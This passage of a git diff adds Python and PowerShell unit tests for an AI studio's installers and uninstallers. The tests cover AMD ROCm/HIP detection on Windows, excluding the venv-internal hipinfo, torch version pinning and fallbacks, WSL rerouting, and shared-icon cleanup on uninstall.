+    path = str(venv_scripts) + os.pathsep + str(sdk_bin)  # venv copy first
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(venv_root)),
+        patch.dict(prebuilt.os.environ, {"PATH": path}, clear = True),
+    ):
+        assert prebuilt._amd_smi_allowed() is True
+
+
+def test_amd_smi_skipped_when_env_root_hipinfo_is_venv_internal(tmp_path):
+    # The venv exclusion must also cover the HIP_PATH/ROCM_PATH fallback: a hipinfo
+    # under <venv>/_rocm_sdk_core/bin is still not a real HIP SDK.
+    venv_root = tmp_path / "venv"
+    hip_root = venv_root / "_rocm_sdk_core"
+    (hip_root / "bin").mkdir(parents = True)
+    (hip_root / "bin" / "hipinfo.exe").write_text("")
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(venv_root)),
+        patch.dict(prebuilt.os.environ, {"ROCM_PATH": str(hip_root)}, clear = True),
+    ):
+        assert prebuilt._amd_smi_allowed() is False
+
+
+def test_amd_smi_allowed_when_env_root_hipinfo_outside_venv(tmp_path):
+    # A real HIP SDK pointed to by HIP_PATH (outside the venv) still opens the
+    # gate, so the env-root venv filter does not regress HIP-SDK Windows users.
+    hip_root = tmp_path / "hipsdk"
+    (hip_root / "bin").mkdir(parents = True)
+    (hip_root / "bin" / "hipinfo.exe").write_text("")
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(tmp_path / "venv")),
+        patch.dict(prebuilt.os.environ, {"HIP_PATH": str(hip_root)}, clear = True),
+    ):
+        assert prebuilt._amd_smi_allowed() is True
+
+
+def test_external_hipinfo_on_path_skips_venv_only(tmp_path):
+    # The helper itself: a PATH holding only the venv-internal hipInfo must not
+    # count as an external HIP SDK (the whole point of the venv filter).
+    venv_root = tmp_path / "venv"
+    venv_scripts = venv_root / "Scripts"
+    venv_scripts.mkdir(parents = True)
+    (venv_scripts / "hipinfo.exe").write_text("")
+    with (
+        patch.object(prebuilt.sys, "prefix", str(venv_root)),
+        patch.dict(prebuilt.os.environ, {"PATH": str(venv_scripts)}, clear = True),
+    ):
+        assert prebuilt._external_hipinfo_on_path() is False
+
+
+def test_python_hipinfo_gates_scan_all_path_entries():
+    # All three copies of the amd-smi HIP-SDK probe must scan every PATH entry
+    # (not just the first shutil.which hit) so the venv-internal hipInfo cannot
+    # shadow a real SDK's hipinfo later on PATH.
+    for src in (_PREBUILT_PATH, _AMD_PY, _PYSTACK_PY):
+        text = src.read_text(encoding = "utf-8")
+        assert (
+            "_external_hipinfo_on_path" in text
+        ), f"{src.name} must use the PATH-scanning hipinfo helper"
+
+
+def test_path_inside_venv_resolves_symlinks(tmp_path):
+    # realpath (not abspath): a venv reached through a symlink/junction must
+    # still count as inside, else its hipInfo escapes the filter and amd-smi
+    # pops the DiskPart UAC. abspath would leave the alias unresolved here.
+    real = tmp_path / "real"
+    (real / "Scripts").mkdir(parents = True)
+    (real / "Scripts" / "hipInfo.exe").write_text("")
+    link = tmp_path / "link"
+    try:
+        link.symlink_to(real, target_is_directory = True)
+    except (OSError, NotImplementedError):
+        pytest.skip("symlinks not permitted on this runner")
+    with patch.object(prebuilt.sys, "prefix", str(real)):
+        assert prebuilt._path_inside_venv(str(link / "Scripts" / "hipInfo.exe")) is True
+
+
 def test_ps_installers_gate_amd_smi_on_windows():
     # Both PowerShell installers must gate amd-smi like _amd_smi_allowed().
     for ps in (_INSTALL_PS1, _SETUP_PS1):
         text = ps.read_text(encoding = "utf-8")
         assert "UNSLOTH_ENABLE_AMD_SMI" in text, f"{ps.name} missing amd-smi opt-in gate"
         assert "amdSmiAllowed" in text, f"{ps.name} missing amd-smi gate variable"
+        # The HIP-SDK probe must exclude the venv-internal hipInfo.exe (mirrors
+        # _path_inside_venv()), else amd-smi can still pop the DiskPart UAC.
+        assert (
+            "Test-HipinfoIsVenvInternal" in text
+        ), f"{ps.name} missing venv-internal hipinfo exclusion helper"
+        # Get-Command returns only the first hipinfo; scan -All and skip the venv
+        # copy so a real SDK hipinfo later on PATH is not shadowed (codex P2).
+        assert (
+            "Get-Command hipinfo -CommandType Application -All" in text
+        ), f"{ps.name} must enumerate all hipinfo executables on PATH (-CommandType Application -All)"
+        assert (
+            "Test-HipinfoIsVenvInternal $_.Source" in text
+        ), f"{ps.name} must run the venv exclusion while scanning hipinfo candidates"
+        # The HIP_PATH/ROCM_PATH candidate must also be venv-filtered, else an env
+        # var pointing into the venv reopens the gate.
+        assert (
+            "Test-HipinfoIsVenvInternal $hipinfoCandidate" in text
+        ), f"{ps.name} must run the venv exclusion on the HIP_PATH/ROCM_PATH candidate"
+        # VenvDir/VIRTUAL_ENV can be unset at probe time (the update flow), so the
+        # venv root must also be derived from the setup python.
+        assert (
+            "UNSLOTH_SETUP_PYTHON" in text
+        ), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_SETUP_PYTHON"
+        # A custom Studio home moves the venv off the default path; it must be
+        # seeded too or its hipInfo escapes the filter and reopens the gate.
+        assert (
+            "UNSLOTH_STUDIO_HOME" in text
+        ), f"{ps.name} venv-internal check must seed the venv root from UNSLOTH_STUDIO_HOME"
+
+
+@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+def test_ps_venv_probe_expands_tilde_for_custom_studio_home(ps):
+    # The probe seeds the venv root from a custom Studio home; a ~\studio form
+    # must expand to USERPROFILE like the canonical resolver, else GetFullPath
+    # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter.
+    text = ps.read_text(encoding = "utf-8")
+    i = text.find("$studioHomeEnv = ")
+    j = text.find('Join-Path $studioHomeEnv "unsloth_studio"', i)
+    assert i != -1 and j != -1, f"{ps.name}: studioHomeEnv venv-root seed not found"
+    block = text[i:j]
+    assert "USERPROFILE" in block and ".Substring(1)" in block, (
+        f"{ps.name}: the venv-internal probe must expand a leading ~ in the custom "
+        "Studio home before seeding the venv root (mirroring the canonical resolver)"
+    )
+    # The ~ expansion must be guarded on a non-empty USERPROFILE; otherwise
+    # Join-Path $env:USERPROFILE throws on a service/SYSTEM account with no profile,
+    # aborting the whole probe (and the install).
+    assert "IsNullOrWhiteSpace($env:USERPROFILE)" in block, (
+        f"{ps.name}: the ~ expansion must guard against an empty $env:USERPROFILE "
+        "before Join-Path (else it throws on a profile-less account)"
+    )
+    # A bare "~" leaves an empty child path, which Join-Path rejects on PS 5.1, so
+    # the expansion must fall back to USERPROFILE directly (joining only a non-empty
+    # remainder) rather than call Join-Path with "".
+    assert "$studioHomeRest" in block and "else { $env:USERPROFILE }" in block, (
+        f"{ps.name}: the ~ expansion must handle a bare ~ without passing an empty "
+        "child path to Join-Path (PS 5.1 rejects it)"
+    )
+
+
+def _ps_floor_map(text, prefix):
+    # {gfx -> spec} for entries like "gfx1151" = "torchvision>=0.26.0,<0.27.0".
+    return dict(re.findall(r'"(gfx[0-9a-z]+)"\s*=\s*"(' + re.escape(prefix) + r'[^"]*)"', text))
+
+
+def test_install_setup_ps_rocm_torch_floors_in_sync():
+    # install.ps1/setup.ps1 pull from AMD's per-arch index; their torch and
+    # companion floor maps must match so both resolve the same ABI-consistent trio
+    # (install.ps1 once left companions bare -> incompatible set -> CPU).
+    it = _INSTALL_PS1.read_text(encoding = "utf-8")
+    st = _SETUP_PS1.read_text(encoding = "utf-8")
+    for prefix in ("torch>=", "torchvision>=", "torchaudio>="):
+        i_map = _ps_floor_map(it, prefix)
+        s_map = _ps_floor_map(st, prefix)
+        assert i_map, f"install.ps1 has no {prefix!r} floor map"
+        assert (
+            i_map == s_map
+        ), f"{prefix!r} floor map drift:\ninstall.ps1={i_map}\nsetup.ps1={s_map}"
+    # Strix Halo (the field case) must be pinned, not bare.
+    assert _ps_floor_map(it, "torchvision>=").get("gfx1151") == "torchvision>=0.26.0,<0.27.0"
+    # The ROCm install must pass the pinned companion specs, not bare names.
+    assert (
+        "$torchSpec $visionSpec $audioSpec" in it
+    ), "install.ps1 ROCm install must use the pinned companion specs"
+
+
+def test_install_ps1_rocm_cpu_fallback_uses_retry():
+    # The ROCm->CPU fallback (likeliest to hit a transient index issue) once used
+    # the non-retrying helper; it must retry like every other torch install here.
+    text = _INSTALL_PS1.read_text(encoding = "utf-8")
+    i = text.find("ROCm PyTorch install failed")
+    assert i != -1, "ROCm->CPU fallback block not found in install.ps1"
+    window = text[i : i + 600]
+    assert (
+        "Invoke-InstallCommandRetry" in window
+    ), "the ROCm->CPU fallback torch install must use Invoke-InstallCommandRetry"
+    # Must --force-reinstall: a failed ROCm install can leave an unpinned ROCm torch
+    # that still satisfies the CPU torch>= range, so without it uv keeps the ROCm
+    # build and only swaps companions -> mismatched venv the repair block won't fix.
+    assert "--force-reinstall" in window, (
+        "the ROCm->CPU fallback must --force-reinstall so a partial ROCm torch is "
+        "replaced by the CPU build"
+    )
+
+
+def test_setup_ps1_rocm_cpu_fallback_force_reinstalls():
+    # setup.ps1's CPU block is shared with the genuine CPU-only path, so it force-
+    # reinstalls only after an AMD ROCm fallback ($ROCmCpuFallback) -- evicting a
+    # partial ROCm torch without slowing the common CPU install.
+    text = _SETUP_PS1.read_text(encoding = "utf-8")
+    assert "$ROCmCpuFallback = $true" in text, (
+        "setup.ps1 must flag the AMD ROCm->CPU fallback so the CPU install can force-"
+        "reinstall a partial ROCm torch"
+    )
+    # Build $cpuForce as a real array, NOT via an if-expression: PowerShell collapses
+    # `$x = if (..) { @("--force-reinstall") }` to a scalar string, which @splat then
+    # enumerates char-by-char into broken single-letter args (- - f o r c e ...).
+    assert (
+        "$cpuForce = @()" in text
+        and 'if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }' in text
+    ), (
+        "setup.ps1 must build $cpuForce as an array assigned outside an if-expression "
+        "so @splat passes a single --force-reinstall arg, not per-character"
+    )
+    assert "$cpuForce = if ($ROCmCpuFallback)" not in text, (
+        'setup.ps1 must NOT assign $cpuForce from an if-expression (collapses @("x") '
+        "to a scalar string that @splat explodes char-by-char)"
+    )
 
 
 def test_install_python_stack_gates_every_amd_smi_spawn():
@@ -315,5 +573,296 @@ def test_install_python_stack_gates_every_amd_smi_spawn():
     )
 
 
+def test_install_ps1_installs_rocm_torch_for_known_arch():
+    # A known AMD arch (even name-inferred, $HasROCm false) must select the ROCm
+    # index directly, not a CPU base that setup.ps1 then force-reinstalls as ROCm.
+    # The repo.amd.com wheels bundle their runtime (no HIP SDK), so gate on $ROCmGfxArch.
+    text = _INSTALL_PS1.read_text(encoding = "utf-8")
+    gates = [
+        ln
+        for ln in text.splitlines()
+        if '$TorchIndexUrl -like "*/cpu"' in ln and ln.lstrip().startswith("if ")
+    ]
+    assert gates, "ROCm-index selection gate not found in install.ps1"
+    assert any("$ROCmGfxArch" in ln for ln in gates), (
+        "install.ps1 gates ROCm torch only on probe-verified ROCm ($HasROCm); a "
+        "known/name-inferred arch should install ROCm directly to avoid a wasted "
+        "CPU PyTorch base that setup.ps1 immediately force-reinstalls."
+    )
+
+
+# ── PR #6296 follow-ups (review-bot findings) ────────────────────────────────
+
+
+def test_external_hipinfo_strips_quoted_path_entries(tmp_path):
+    # Windows PATH entries can carry surrounding double quotes; the scan must strip
+    # them before os.path.join, else a real HIP SDK in a quoted dir is missed and a
+    # genuine AMD box silently loses amd-smi VRAM polling.
+    sdk_bin = tmp_path / "hip sdk" / "bin"
+    sdk_bin.mkdir(parents = True)
+    (sdk_bin / "hipinfo.exe").write_text("")
+    quoted = '"' + str(sdk_bin) + '"'  # the literal quotes Windows can leave on PATH
+    with (
+        patch.object(prebuilt.platform, "system", return_value = "Windows"),
+        patch.object(prebuilt.sys, "prefix", str(tmp_path / "venv")),
+        patch.dict(prebuilt.os.environ, {"PATH": quoted}, clear = True),
+    ):
+        assert prebuilt._external_hipinfo_on_path() is True
+        assert prebuilt._amd_smi_allowed() is True
+
+
+def test_python_hipinfo_strips_quotes_in_all_copies():
+    # All three copies of the PATH scan must strip surrounding quotes from entries.
+    for src in (_PREBUILT_PATH, _AMD_PY, _PYSTACK_PY):
+        text = src.read_text(encoding = "utf-8")
+        assert "strip('\"')" in text, f"{src.name} must strip quotes from PATH entries"
+
+
+def test_python_path_inside_venv_guards_root_prefix_in_all_copies():
+    # If sys.prefix resolves to a bare root (C:\ or /), commonpath matches every
+    # path on the filesystem and classifies a real external hipinfo as
+    # venv-internal, silently disabling amd-smi. All three copies must guard it.
+    for src in (_PREBUILT_PATH, _AMD_PY, _PYSTACK_PY):
+        text = src.read_text(encoding = "utf-8")
+        assert (
+            "os.path.dirname(" in text and ") == " in text and "return False" in text
+        ), f"{src.name} _path_inside_venv must guard a root-dir sys.prefix"
+
+
+def test_path_inside_venv_returns_false_for_root_prefix():
+    # Behavioral: with sys.prefix realpath == a bare root, no external path counts as
+    # inside the venv (so a real HIP SDK on the same drive still opens the gate).
+    root = "C:\\" if os.name == "nt" else "/"
+    real = os.path.realpath
+    with patch.object(
+        prebuilt.os.path,
+        "realpath",
+        side_effect = lambda p: root if p == prebuilt.sys.prefix else real(p),
+    ):
+        ext = os.path.join(root, "hip", "bin", "hipinfo.exe")
+        assert prebuilt._path_inside_venv(ext) is False
+
+
+@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+def test_ps_venv_probe_skips_drive_root(ps):
+    # A non-venv UNSLOTH_SETUP_PYTHON like C:\Python311\python.exe yields a bare
+    # drive root (C:) as a venv root; without a guard it matches every path on that
+    # drive and misclassifies a real HIP SDK as venv-internal, disabling amd-smi.
+    text = ps.read_text(encoding = "utf-8")
+    assert "'^[a-zA-Z]:$'" in text, (
+        f"{ps.name} venv-internal probe must skip bare drive roots so a non-venv "
+        "UNSLOTH_SETUP_PYTHON doesn't match the whole drive"
+    )
+
+
+@pytest.mark.parametrize("ps", [_INSTALL_PS1, _SETUP_PS1], ids = ["install.ps1", "setup.ps1"])
+def test_ps_env_fallback_iterates_all_hip_roots(ps):
+    # The HIP_PATH/ROCM_PATH fallback must iterate every env root (incl. HIP_PATH_57)
+    # and take the first non-venv hipinfo, so a venv-internal HIP_PATH can't mask a
+    # real SDK in ROCM_PATH (single-root selection would bail on the venv copy).
+    text = ps.read_text(encoding = "utf-8")
+    assert 'foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"))' in text, (
+        f"{ps.name} must iterate HIP_PATH/HIP_PATH_57/ROCM_PATH in the env fallback, "
+        "not pick a single root"
+    )
+
+
+def test_install_ps1_clears_rocm_index_after_cpu_fallback():
+    # After the ROCm->CPU fallback, $ROCmIndexUrl must be cleared so the later
+    # flavor-repair block doesn't retry the just-failed index and Exit-InstallFailure
+    # (the fallback lets install complete; setup.ps1 retries ROCm).
+    text = _INSTALL_PS1.read_text(encoding = "utf-8")
+    i = text.find("ROCm PyTorch install failed")
+    assert i != -1, "ROCm->CPU fallback block not found in install.ps1"
+    window = text[i : i + 1800]
+    assert "$ROCmIndexUrl = $null" in window, (
+        "install.ps1 must clear $ROCmIndexUrl after the CPU fallback so the repair "
+        "block does not re-trigger the failed ROCm index and abort the install"
+    )
+
+
+def test_install_ps1_rocm_repair_pins_companions():
+    # The flavor-repair ROCm reinstall must use the pinned companion specs (like the
+    # fresh ROCm install), not bare torchvision/torchaudio, which can resolve an
+    # ABI-incompatible trio on AMD's per-arch index.
+    text = _INSTALL_PS1.read_text(encoding = "utf-8")
+    i = text.find("PyTorch flavor mismatch (installed $installedTorchTag, need ROCm)")
+    assert i != -1, "ROCm flavor-repair block not found in install.ps1"
+    window = text[i : i + 400]
+    assert "$rocmSpec $visionSpec $audioSpec" in window, (
+        "the ROCm repair reinstall must pass the pinned $visionSpec/$audioSpec, not "
+        "bare torchvision/torchaudio"
+    )
+
+
+def test_install_sh_wsl_reroute_uses_pipefail():
+    # The `curl | sh` reroute runs via `bash -lc`; without pipefail a failed curl is
+    # masked by sh exiting 0 on empty input, so the reroute would wrongly report
+    # success and exit 0 from the parent installer.
+    text = _INSTALL_SH.read_text(encoding = "utf-8")
+    assert "set -o pipefail" in text, "reroute must enable pipefail"
+    # The reroute targets the selected distro ($_rr_target: 24.04 preferred, 22.04
+    # fallback) via bash -lc; find that exec line.
+    i = text.find('wsl.exe -d "$_rr_target" -- bash -lc')
+    assert i != -1, "WSL reroute command not found in install.sh"
+    # pipefail is set in the exports prefix the reroute bash -lc runs; the wsl.exe
+    # call must wire that prefix in (a failed curl is otherwise masked by sh exit 0).
+    line = text[text.rfind("\n", 0, i) + 1 : text.find("\n", i)]
+    assert (
+        "$_rr_exports" in line
+    ), "install.sh WSL reroute `bash -lc` must run the pipefail exports prefix"
+
+
+def test_install_sh_wsl_reroute_propagates_tauri_need_sudo_exit():
+    # In --tauri mode the rerouted child uses exit 2 ([TAURI:NEED_SUDO]) to ask the
+    # desktop app to elevate for the target distro. The reroute must propagate that
+    # code instead of masking it as a generic failure and dropping to CPU here.
+    text = _INSTALL_SH.read_text(encoding = "utf-8")
+    i = text.find('wsl.exe -d "$_rr_target" -- bash -lc')
+    assert i != -1, "WSL reroute command not found in install.sh"
+    window = text[i : i + 500]
+    assert (
+        '[ "$_rr_rc" -eq 2 ]' in window and "exit 2" in window
+    ), "the reroute must propagate the child's tauri exit 2 (NEED_SUDO)"
+    assert '[ "$TAURI_MODE" = true ]' in window, (
+        "exit-2 propagation must be gated on --tauri mode so the CLI path still falls "
+        "back to CPU on a generic reroute failure"
+    )
+
+
+def test_uninstall_sh_preserves_shared_icon_for_surviving_shortcut():
+    # %LOCALAPPDATA%\Unsloth Studio\unsloth.ico is shared with the native install
+    # and other WSL distros; both removal paths must keep it while any "Unsloth
+    # Studio*.lnk" survives (reciprocal of uninstall.ps1's
+    # _RemoveDataDirKeepingWslIcon), not delete it unconditionally.
+    text = (PACKAGE_ROOT / "scripts" / "uninstall.sh").read_text(encoding = "utf-8")
+    assert "_drop_shared_icon_if_unused" in text, (
+        "uninstall.sh drvfs path must gate the shared-icon deletion behind a "
+        "shortcut-in-use check, not delete unconditionally"
+    )
+    assert "iconInUse" in text, (
+        "uninstall.sh powershell-interop path must keep the icon when an Unsloth "
+        "shortcut still uses it"
+    )
+    # An empty $env:LOCALAPPDATA (service/SYSTEM account) makes Join-Path throw and
+    # aborts the icon cleanup; the interop snippet must guard it like uninstall.ps1.
+    assert "IsNullOrWhiteSpace($env:LOCALAPPDATA)" in text, (
+        "uninstall.sh powershell-interop path must guard an empty $env:LOCALAPPDATA "
+        "before Join-Path (else cleanup throws on a profile-less account)"
+    )
+
+
+def test_uninstall_removes_managed_node_runtime():
+    # The isolated Node.js runtime (install_node_prebuilt.py) lives at ~/.unsloth/node
+    # in default mode, a sibling of studio -- deleting <studio> misses it, so both
+    # uninstallers must remove it explicitly (env/custom mode nests it under the
+    # custom root, removed with that root).
+    sh = (PACKAGE_ROOT / "scripts" / "uninstall.sh").read_text(encoding = "utf-8")
+    assert (
+        '_remove_path "$HOME/.unsloth/node"' in sh
+    ), "uninstall.sh must remove the default-mode ~/.unsloth/node runtime"
+    ps = (PACKAGE_ROOT / "scripts" / "uninstall.ps1").read_text(encoding = "utf-8")
+    assert (
+        '$defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" }' in ps
+    ), "uninstall.ps1 must resolve the default-mode ~/.unsloth\\node runtime dir"
+    assert (
+        "_RemovePath $defaultNode" in ps
+    ), "uninstall.ps1 must remove the default-mode ~/.unsloth\\node runtime"
+
+
+def test_install_python_stack_windows_rocm_repair_pins_and_is_nonfatal():
+    # The Windows AMD ROCm repair in _ensure_rocm_torch() must mirror the PS
+    # installer: (1) pin torchvision/torchaudio for the arches the PS side pins so
+    # the per-arch index resolves an ABI-consistent trio, and (2) be nonfatal so a
+    # transient index failure doesn't abort the install after the PS side already
+    # fell back to CPU torch.
+    text = _PYSTACK_PY.read_text(encoding = "utf-8")
+    assert (
+        "_WINDOWS_ROCM_TORCH_PKG_SPECS" in text
+    ), "install_python_stack.py must define a Windows per-arch ROCm companion pin map"
+    for gfx in ("gfx1201", "gfx1200", "gfx1151", "gfx1150"):
+        assert re.search(
+            r'"' + gfx + r'":\s*_ROCM_TORCH_PKG_SPECS\["rocm7\.2"\]', text
+        ), f"{gfx} must pin to the rocm7.2 trio like install.ps1/setup.ps1"
+    i = text.find('f"ROCm torch (Windows, {gfx_arch})"')
+    assert i != -1, "Windows ROCm repair pip call not found"
+    # The nearest preceding call must be the nonfatal pip_install_try, not pip_install.
+    j = text.rfind("pip_install_try(", 0, i)
+    k = text.rfind("pip_install(", 0, i)
+    assert j != -1 and (
+        k == -1 or j > k
+    ), "Windows ROCm repair must use the nonfatal pip_install_try wrapping the trio"
+    window = text[i : i + 700]
+    assert (
+        "_torch_pkg" in window and "_vision_pkg" in window and "_audio_pkg" in window
+    ), "Windows ROCm repair must pass the pinned companion trio, not bare names"
+    assert (
+        "keeping the existing torch build" in window
+    ), "Windows ROCm repair must keep the existing build (nonfatal) when the index fails"
+
+
+def _load_pystack():
+    # install_python_stack.py imports from backend.*, so put studio/ on sys.path.
+    import importlib.util
+
+    studio_dir = str(PACKAGE_ROOT / "studio")
+    if studio_dir not in sys.path:
+        sys.path.insert(0, studio_dir)
+    spec = importlib.util.spec_from_file_location("pystack_pr6296", _PYSTACK_PY)
+    mod = importlib.util.module_from_spec(spec)
+    sys.modules[spec.name] = mod
+    spec.loader.exec_module(mod)
+    return mod
+
+
+def test_windows_rocm_repair_nonfatal_keeps_cpu_torch_on_index_failure(monkeypatch):
+    # Behavioral: with a Windows AMD box whose per-arch index is down, the repair
+    # must attempt the pinned trio via the nonfatal helper, NOT call the fatal
+    # pip_install, and NOT proceed to bitsandbytes -- so the overall install
+    # survives the index failure with the existing (CPU) torch intact.
+    try:
+        ps = _load_pystack()
+    except Exception as exc:  # minimal CI without backend deps
+        pytest.skip(f"install_python_stack deps unavailable: {exc}")
+    calls = {"try": [], "fatal": 0, "bnb": 0}
+    monkeypatch.setattr(ps, "IS_WINDOWS", True)
+    monkeypatch.setattr(ps, "IS_MACOS", False)
+    monkeypatch.setattr(ps, "_TORCH_BACKEND", "rocm", raising = False)
+    monkeypatch.setattr(ps, "_has_usable_nvidia_gpu", lambda: False)
+    monkeypatch.setattr(ps, "_detect_windows_gfx_arch", lambda: "gfx1151")
+    monkeypatch.setattr(
+        ps, "_windows_rocm_index_url", lambda a: "https://repo.amd.com/rocm/whl/gfx1151/"
+    )
+    # torch is not already a ROCm build -> the version probe prints nothing.
+    monkeypatch.setattr(
+        ps.subprocess, "run", lambda *a, **k: subprocess.CompletedProcess(a, 0, b"", b"")
+    )
+
+    def fake_try(label, *args, **kw):
+        calls["try"].append((label, args, kw))
+        return False  # simulate the AMD index being unreachable
+
+    monkeypatch.setattr(ps, "pip_install_try", fake_try)
+    monkeypatch.setattr(
+        ps, "pip_install", lambda *a, **k: calls.__setitem__("fatal", calls["fatal"] + 1)
+    )
+    monkeypatch.setattr(
+        ps,
+        "_install_bnb_windows_rocm",
+        lambda *a, **k: calls.__setitem__("bnb", calls["bnb"] + 1) or True,
+    )
+    monkeypatch.delenv("UNSLOTH_ROCM_TORCH_INSTALLED", raising = False)
+
+    ps._ensure_rocm_torch()  # must not raise / SystemExit
+
+    assert calls["fatal"] == 0, "Windows ROCm repair must not use the fatal pip_install"
+    assert len(calls["try"]) == 1, "expected one nonfatal ROCm torch install attempt"
+    _, args, _ = calls["try"][0]
+    assert "torch>=2.11.0,<2.12.0" in args, "torch must be pinned to the rocm7.2 floor"
+    assert "torchvision>=0.26.0,<0.27.0" in args, "torchvision companion must be pinned"
+    assert "torchaudio>=2.11.0,<2.12.0" in args, "torchaudio companion must be pinned"
+    assert calls["bnb"] == 0, "a failed ROCm torch install must not proceed to bitsandbytes"
+
+
 if __name__ == "__main__":
     pytest.main([__file__, "-v"])
diff --git a/tests/studio/test_resolve_cuda_toolkit.ps1 b/tests/studio/test_resolve_cuda_toolkit.ps1
index 77fcdca59c..6be0adc621 100644
--- a/tests/studio/test_resolve_cuda_toolkit.ps1
+++ b/tests/studio/test_resolve_cuda_toolkit.ps1
@@ -1,4 +1,6 @@
 #!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Unit test for Resolve-CudaToolkit in studio/setup.ps1. No GPU required: the
 # detection helpers (nvidia-smi, nvcc, Find-Nvcc, ...) are stubbed so the real
 # function logic runs against spoofed Blackwell sm_120 driver/toolkit scenarios.
diff --git a/tests/studio/test_torch_flavor.ps1 b/tests/studio/test_torch_flavor.ps1
index 86303af16c..50be4814b0 100644
--- a/tests/studio/test_torch_flavor.ps1
+++ b/tests/studio/test_torch_flavor.ps1
@@ -1,4 +1,6 @@
 #!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 # Unit test for install.ps1's torch-flavor helpers (ConvertTo-TorchFlavorTag,
 # Get-ExpectedTorchFlavorTag) that drive the stale-CPU-PyTorch repair. Pure
 # helpers, AST-extracted and run in-process -- no GPU/venv needed.
diff --git a/tests/studio/test_uninstall_dual_install_icon.ps1 b/tests/studio/test_uninstall_dual_install_icon.ps1
new file mode 100644
index 0000000000..938db2cb13
--- /dev/null
+++ b/tests/studio/test_uninstall_dual_install_icon.ps1
@@ -0,0 +1,87 @@
+#!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit test for _RemoveDataDirKeepingWslIcon in scripts/uninstall.ps1.
+#
+# A native uninstall must NOT delete the shared unsloth.ico while a WSL shortcut
+# still points at it (else that shortcut blanks). Extracts the helper via AST and
+# runs it on a temp data dir with a controlled ShortcutDirs list (dual-install vs
+# native-only), so no real Desktop / Start Menu is touched.
+#
+# Run: pwsh -NoProfile -File tests/studio/test_uninstall_dual_install_icon.ps1
+
+$ErrorActionPreference = "Stop"
+$uninstallPath = [System.IO.Path]::Combine($PSScriptRoot, "..", "..", "scripts", "uninstall.ps1")
+$uninstallPath = (Resolve-Path $uninstallPath).Path
+
+# --- Extract the nested helper function source (not the whole uninstaller) ---
+$tokens = $null; $errors = $null
+$ast = [System.Management.Automation.Language.Parser]::ParseFile($uninstallPath, [ref]$tokens, [ref]$errors)
+if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "uninstall.ps1 has parse errors" }
+$fn = $ast.FindAll({ param($n)
+    $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $n.Name -eq "_RemoveDataDirKeepingWslIcon"
+}, $true)
+if ($fn.Count -ne 1) { throw "expected exactly one _RemoveDataDirKeepingWslIcon, found $($fn.Count)" }
+
+# Stubs the helper depends on (nested in Uninstall-UnslothStudio in production).
+function _Substep { param([string]$Msg, [string]$Color = "Gray") }
+function _RemovePath {
+    param([string]$Path)
+    if ($Path -and (Test-Path -LiteralPath $Path)) {
+        Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction SilentlyContinue
+    }
+}
+. ([ScriptBlock]::Create($fn[0].Extent.Text))   # defines _RemoveDataDirKeepingWslIcon
+
+$failures = 0
+function Check($name, $cond) {
+    if ($cond) { Write-Host "  PASS  $name" }
+    else { Write-Host "  FAIL  $name" -ForegroundColor Red; $script:failures++ }
+}
+
+$work = Join-Path ([System.IO.Path]::GetTempPath()) ("undi_" + [guid]::NewGuid().ToString("N"))
+New-Item -ItemType Directory -Force -Path $work | Out-Null
+try {
+    # ----- Case A: a WSL shortcut survives -> keep unsloth.ico, drop the rest, keep dir -----
+    $progA = Join-Path $work "shortcutsA"
+    New-Item -ItemType Directory -Force -Path $progA | Out-Null
+    Set-Content -LiteralPath (Join-Path $progA "Unsloth Studio (WSL - Ubuntu-24.04).lnk") -Value "x"
+    $dataA = Join-Path $work "dataA"
+    New-Item -ItemType Directory -Force -Path $dataA | Out-Null
+    Set-Content -LiteralPath (Join-Path $dataA "unsloth.ico") -Value "ICO"
+    Set-Content -LiteralPath (Join-Path $dataA "launch-studio.ps1") -Value "L"
+    Set-Content -LiteralPath (Join-Path $dataA "studio.conf") -Value "C"
+    _RemoveDataDirKeepingWslIcon -DataDir $dataA -ShortcutDirs @($progA)
+    Check "A: data dir kept"            (Test-Path -LiteralPath $dataA)
+    Check "A: unsloth.ico preserved"    (Test-Path -LiteralPath (Join-Path $dataA "unsloth.ico"))
+    Check "A: launch-studio.ps1 removed" (-not (Test-Path -LiteralPath (Join-Path $dataA "launch-studio.ps1")))
+    Check "A: studio.conf removed"      (-not (Test-Path -LiteralPath (Join-Path $dataA "studio.conf")))
+
+    # ----- Case B: no WSL shortcut -> whole dir removed (native-only uninstall) -----
+    $progB = Join-Path $work "shortcutsB"
+    New-Item -ItemType Directory -Force -Path $progB | Out-Null
+    Set-Content -LiteralPath (Join-Path $progB "Unrelated.lnk") -Value "x"
+    $dataB = Join-Path $work "dataB"
+    New-Item -ItemType Directory -Force -Path $dataB | Out-Null
+    Set-Content -LiteralPath (Join-Path $dataB "unsloth.ico") -Value "ICO"
+    Set-Content -LiteralPath (Join-Path $dataB "launch-studio.ps1") -Value "L"
+    _RemoveDataDirKeepingWslIcon -DataDir $dataB -ShortcutDirs @($progB)
+    Check "B: whole data dir removed"   (-not (Test-Path -LiteralPath $dataB))
+
+    # ----- Case C: empty shortcut dirs -> whole dir removed -----
+    $dataC = Join-Path $work "dataC"
+    New-Item -ItemType Directory -Force -Path $dataC | Out-Null
